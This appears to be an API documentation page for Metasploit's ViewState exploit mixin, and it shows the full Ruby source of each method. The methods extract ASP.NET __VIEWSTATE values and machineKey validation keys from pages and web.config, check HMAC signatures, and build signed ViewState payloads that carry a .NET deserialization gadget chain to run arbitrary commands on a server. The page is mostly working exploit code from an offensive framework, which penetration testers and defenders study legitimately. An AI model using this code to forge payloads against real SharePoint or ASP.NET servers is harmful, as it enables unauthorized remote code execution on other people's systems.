Module: Msf::Exploit::ViewState

Included in:
Remote::HTTP::Sharepoint
Defined in:
lib/msf/core/exploit/view_state.rb

Instance Method Summary collapse

Instance Method Details

#can_sign_viewstate?(encoded_viewstate, extra: '', algo: 'sha1', key: '') ⇒ Boolean

Returns:

  • (Boolean)


87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
# File 'lib/msf/core/exploit/view_state.rb', line 87

def can_sign_viewstate?(encoded_viewstate, extra: '', algo: 'sha1', key: '')
  viewstate = decode_viewstate(encoded_viewstate)

  unless viewstate[:data]
    vprint_error('Could not retrieve ViewState data')
    return false
  end

  unless (their_hmac = viewstate[:hmac])
    vprint_error('Could not retrieve ViewState HMAC')
    return false
  end

  our_hmac = generate_viewstate_hmac(
    viewstate[:data] + extra,
    algo: algo,
    key: key
  )

  # Do we have what it takes?
  our_hmac == their_hmac
end

#decode_viewstate(encoded_viewstate, algo: 'sha1') ⇒ Object



65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
# File 'lib/msf/core/exploit/view_state.rb', line 65

def decode_viewstate(encoded_viewstate, algo: 'sha1')
  viewstate = Rex::Text.decode_base64(encoded_viewstate)

  unless Rex::Text.encode_base64(viewstate) == encoded_viewstate
    vprint_error('Could not decode ViewState')
    return { data: nil, hmac: nil }
  end

  hmac_len = generate_viewstate_hmac('', algo: algo).length

  if (data = viewstate[0...-hmac_len]).empty?
    vprint_error('Could not parse ViewState data')
    data = nil
  end

  unless (hmac = viewstate[-hmac_len..-1])
    vprint_error('Could not parse ViewState HMAC')
  end

  { data: data, hmac: hmac }
end

#extract_viewstate(html) ⇒ Object

Extract __VIEWSTATE from HTML



111
112
113
# File 'lib/msf/core/exploit/view_state.rb', line 111

def extract_viewstate(html)
  html.at('//input[@id = "__VIEWSTATE"]/@value')&.text
end

#extract_viewstate_generator(html) ⇒ Object

Extract __VIEWSTATEGENERATOR from HTML



116
117
118
# File 'lib/msf/core/exploit/view_state.rb', line 116

def extract_viewstate_generator(html)
  html.at('//input[@id = "__VIEWSTATEGENERATOR"]/@value')&.text
end

#extract_viewstate_validation_key(web_config) ⇒ Object

Extract validationKey from web.config



121
122
123
# File 'lib/msf/core/exploit/view_state.rb', line 121

def extract_viewstate_validation_key(web_config)
  web_config.at('//machineKey/@validationKey')&.text
end

#generate_viewstate(data, extra: '', algo: 'sha1', key: '') ⇒ Object



53
54
55
56
57
58
59
# File 'lib/msf/core/exploit/view_state.rb', line 53

def generate_viewstate(data, extra: '', algo: 'sha1', key: '')
  # Generate ViewState HMAC from known values and validation key
  hmac = generate_viewstate_hmac(data + extra, algo: algo, key: key)

  # Append HMAC to provided data and Base64-encode the whole shebang
  Rex::Text.encode_base64(data + hmac)
end

#generate_viewstate_hmac(data, algo: 'sha1', key: '') ⇒ Object



61
62
63
# File 'lib/msf/core/exploit/view_state.rb', line 61

def generate_viewstate_hmac(data, algo: 'sha1', key: '')
  OpenSSL::HMAC.digest(algo, key, data)
end

#generate_viewstate_payload(cmd, extra: '', algo: 'sha1', key: '') ⇒ Object



43
44
45
46
47
48
49
50
51
# File 'lib/msf/core/exploit/view_state.rb', line 43

def generate_viewstate_payload(cmd, extra: '', algo: 'sha1', key: '')
  serialized_payload = Msf::Util::DotNetDeserialization.generate(
    cmd,
    gadget_chain: datastore['DotNetGadgetChain'].to_sym,
    formatter: :LosFormatter
  )

  generate_viewstate(serialized_payload, extra: extra, algo: algo, key: key)
end

#initialize(info = {}) ⇒ Object



27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# File 'lib/msf/core/exploit/view_state.rb', line 27

def initialize(info = {})
  super

  register_advanced_options([
    OptEnum.new(
      'DotNetGadgetChain',
      [
        true,
        '.NET gadget chain to use in ViewState',
        :TextFormattingRunProperties,
        Msf::Util::DotNetDeserialization.formatter_compatible_gadget_chains(:LosFormatter)
      ]
    )
  ])
end

#pack_viewstate_generator(hex_generator) ⇒ Object

Convenience method to convert __VIEWSTATEGENERATOR to binary



126
127
128
# File 'lib/msf/core/exploit/view_state.rb', line 126

def pack_viewstate_generator(hex_generator)
  [hex_generator.to_i(16)].pack('V')
end

#pack_viewstate_validation_key(hex_key) ⇒ Object

Convenience method to convert validationKey to binary



131
132
133
# File 'lib/msf/core/exploit/view_state.rb', line 131

def pack_viewstate_validation_key(hex_key)
  [hex_key].pack('H*')
end